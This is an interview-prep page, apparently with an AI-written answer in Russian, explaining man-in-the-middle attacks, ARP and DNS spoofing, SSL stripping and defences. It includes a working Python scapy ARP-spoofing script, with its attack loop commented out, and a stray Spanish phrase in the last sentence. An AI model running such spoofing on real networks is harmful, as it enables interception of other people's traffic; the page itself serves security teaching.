Назад к вопросам
Junior
85
questionbank

Что такое атака 'человек посередине' (man-in-the-middle)?

Sobes Copilot

Получайте ответы в реальном времени

Ответ от нейросети

sobes.tech AI

Атака Man-in-the-Middle (MiTM) — это форма перехвата активного трафика, при которой злоумышленник тайно вмешивается в связь между двумя сторонами, например, клиентом и сервером. Злоумышленник позиционирует себя между ними, перехватывая, читая и, возможно, изменяя передаваемые данные.

В контексте тестирования безопасности, эмулирование MiTM атак помогает выявить уязвимости в протоколах передачи данных, управлении сертификатами и шифровании.

Примеры техник, используемых в MiTM:

  • ARP Spoofing: Злоумышленник отправляет поддельные ARP-сообщения в локальной сети, связывая свой MAC-адрес с IP-адресом шлюза или другого хоста, тем самым перенаправляя трафик через себя.
  • DNS Spoofing: Злоумышленник перехватывает DNS-запросы и отправляет поддельные DNS-ответы, направляя пользователя на вредоносный сайт.
  • HTTPS Spoofing (SSL Stripping): Злоумышленник заставляет браузер пользователя соединиться с веб-сайтом по незащищенному HTTP вместо HTTPS, даже если сайт поддерживает HTTPS.
# Пример упрощенного ARP spoofing (концептуальный)

import scapy.all as scapy
import time

def get_mac(ip):
    # Получаем MAC-адрес по IP
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    if answered_list:
        return answered_list[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip):
    # Отправляем ARP-ответ, который говорит target_ip, что spoof_ip имеет наш MAC-адрес
    target_mac = get_mac(target_ip)
    if target_mac:
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
        scapy.send(packet, verbose=False)

# Этот код - иллюстрация, для реальной атаки требуется более сложная логика и разрешение
# print("Пример ARP spoofing (концептуально)")
# target_ip = "Целевой IP"
# gateway_ip = "IP шлюза"
#
# try:
#     while True:
#         spoof(target_ip, gateway_ip) # Перенаправляем трафик от цели к шлюзу через нас
#         spoof(gateway_ip, target_ip) # Перенаправляем трафик от шлюза к цели через нас
#         time.sleep(2)
# except KeyboardInterrupt:
#     print("\nОбнаружено прерывание, восстановление ARP таблиц...")
#     # Здесь должна быть логика восстановления ARP-таблиц

Защита от MiTM включает использование надежных протоколов шифрования (TLS/SSL), проверку сертификатов, реализацию HSTS (HTTP Strict Transport Security),seguridad de red (сегментация сети) и использование VPN.